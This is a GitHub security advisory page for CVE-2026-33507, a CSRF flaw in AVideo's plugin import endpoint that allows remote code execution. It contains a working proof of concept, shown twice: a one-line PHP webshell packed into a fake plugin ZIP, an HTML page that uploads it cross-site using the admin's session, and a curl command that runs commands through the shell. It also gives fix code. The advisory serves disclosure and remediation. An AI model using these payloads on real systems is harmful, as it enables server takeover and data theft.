GHSA-HV36-P4W4-6VMJ

Vulnerability from github – Published: 2026-03-20 21:47 – Updated: 2026-03-25 20:31
VLAI?
Summary
AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload
Details

Summary

The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.

Details

The root cause has two components working together:

1. SameSite=None on session cookies (objects/include_config.php:134-137):

if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.

2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):

if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

The endpoint only checks User::isAdmin() via the session. There is: - No CSRF token validation (the verifyToken/globalToken mechanism used elsewhere is absent) - No allowOrigin() call (contrast with objects/videoAddNew.json.php which calls allowOrigin() at line 8) - No Referer or Origin header validation - No requirement for custom headers (e.g., X-Requested-With)

The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.

Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.

Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.

PoC

Step 1: Create the malicious plugin ZIP

mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
    public function getTags() { return array(); }
    public function getDescription() { return "test"; }
    public function getName() { return "EvilPlugin"; }
    public function getUUID() { return "evil-0000-0000-0000"; }
    public function getPluginVersion() { return "1.0"; }
    public function getEmptyDataObject() { return new stdClass(); }
}
PLUG

# Secondary file — webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL

zip -r evil-plugin.zip EvilPlugin/

Step 2: Host the CSRF exploit page

<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
    const zipResp = await fetch('evil-plugin.zip');
    const zipBlob = await zipResp.blob();

    const formData = new FormData();
    formData.append('input-b1', zipBlob, 'evil-plugin.zip');

    fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
        method: 'POST',
        body: formData,
        mode: 'no-cors',
        credentials: 'include'
    });
}
exploit();
</script>
</body>
</html>

Step 3: Admin visits attacker's page while logged into AVideo over HTTPS

The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.

Step 4: Attacker accesses the webshell

curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

  • Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
  • Full server compromise: The webshell runs as the web server user (www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation.
  • No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control.
  • Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The no-cors mode means no visible error or redirect.

Recommended Fix

1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):

// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

// Add CSRF protection
allowOrigin();

// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
    $obj->msg = "Invalid CSRF token";
    die(json_encode($obj));
}

2. Update the upload form in view/managerPluginUpload.php to include the token:

<form enctype="multipart/form-data">
    <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
    <input id="input-b1" name="input-b1" type="file" class="">
</form>

And pass it in the JavaScript upload config:

$('#input-b1').fileinput({
    uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
    uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
    // ...
});

3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T21:47:50Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = \u0027None\u0027` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.\n\n## Details\n\nThe root cause has two components working together:\n\n**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**\n\n```php\nif ($isHTTPS) {\n    ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n    ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThis explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.\n\n**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**\n\n```php\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n```\n\nThe endpoint only checks `User::isAdmin()` via the session. There is:\n- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)\n- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)\n- No `Referer` or `Origin` header validation\n- No requirement for custom headers (e.g., `X-Requested-With`)\n\nThe upload form at `view/managerPluginUpload.php` also contains no CSRF token \u2014 it\u0027s a plain `\u003cform enctype=\"multipart/form-data\"\u003e` with a file input.\n\n**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: \u0027no-cors\u0027` and `credentials: \u0027include\u0027` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect \u2014 plugin installation and PHP file extraction to the web-accessible `plugin/` directory \u2014 is the objective.\n\n**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it\u0027s a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.\n\n## PoC\n\n**Step 1: Create the malicious plugin ZIP**\n\n```bash\nmkdir -p EvilPlugin\n# Main file \u2014 passes PluginAbstract validation\ncat \u003e EvilPlugin/EvilPlugin.php \u003c\u003c \u0027PLUG\u0027\n\u003c?php\nclass EvilPlugin extends PluginAbstract {\n    public function getTags() { return array(); }\n    public function getDescription() { return \"test\"; }\n    public function getName() { return \"EvilPlugin\"; }\n    public function getUUID() { return \"evil-0000-0000-0000\"; }\n    public function getPluginVersion() { return \"1.0\"; }\n    public function getEmptyDataObject() { return new stdClass(); }\n}\nPLUG\n\n# Secondary file \u2014 webshell, NOT checked for PluginAbstract\ncat \u003e EvilPlugin/cmd.php \u003c\u003c \u0027SHELL\u0027\n\u003c?php if(isset($_GET[\u0027c\u0027])) system($_GET[\u0027c\u0027]); ?\u003e\nSHELL\n\nzip -r evil-plugin.zip EvilPlugin/\n```\n\n**Step 2: Host the CSRF exploit page**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cscript\u003e\n// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php\n// In practice, the attacker would embed the base64-encoded ZIP bytes here\nasync function exploit() {\n    const zipResp = await fetch(\u0027evil-plugin.zip\u0027);\n    const zipBlob = await zipResp.blob();\n\n    const formData = new FormData();\n    formData.append(\u0027input-b1\u0027, zipBlob, \u0027evil-plugin.zip\u0027);\n\n    fetch(\u0027https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php\u0027, {\n        method: \u0027POST\u0027,\n        body: formData,\n        mode: \u0027no-cors\u0027,\n        credentials: \u0027include\u0027\n    });\n}\nexploit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Admin visits attacker\u0027s page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin\u0027s `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl \u0027https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id\u0027\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin\u0027s session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system \u2014 only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST[\u0027globalToken\u0027]) || !verifyToken($_POST[\u0027globalToken\u0027])) {\n    $obj-\u003emsg = \"Invalid CSRF token\";\n    die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n\u003cform enctype=\"multipart/form-data\"\u003e\n    \u003cinput type=\"hidden\" name=\"globalToken\" value=\"\u003c?php echo getToken(); ?\u003e\"\u003e\n    \u003cinput id=\"input-b1\" name=\"input-b1\" type=\"file\" class=\"\"\u003e\n\u003c/form\u003e\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$(\u0027#input-b1\u0027).fileinput({\n    uploadUrl: webSiteRootURL + \u0027objects/pluginImport.json.php\u0027,\n    uploadExtraData: { globalToken: $(\u0027input[name=globalToken]\u0027).val() },\n    // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.",
  "id": "GHSA-hv36-p4w4-6vmj",
  "modified": "2026-03-25T20:31:58Z",
  "published": "2026-03-20T21:47:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/d1bc1695edd9ad4468a48cea0df6cd943a2635f3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…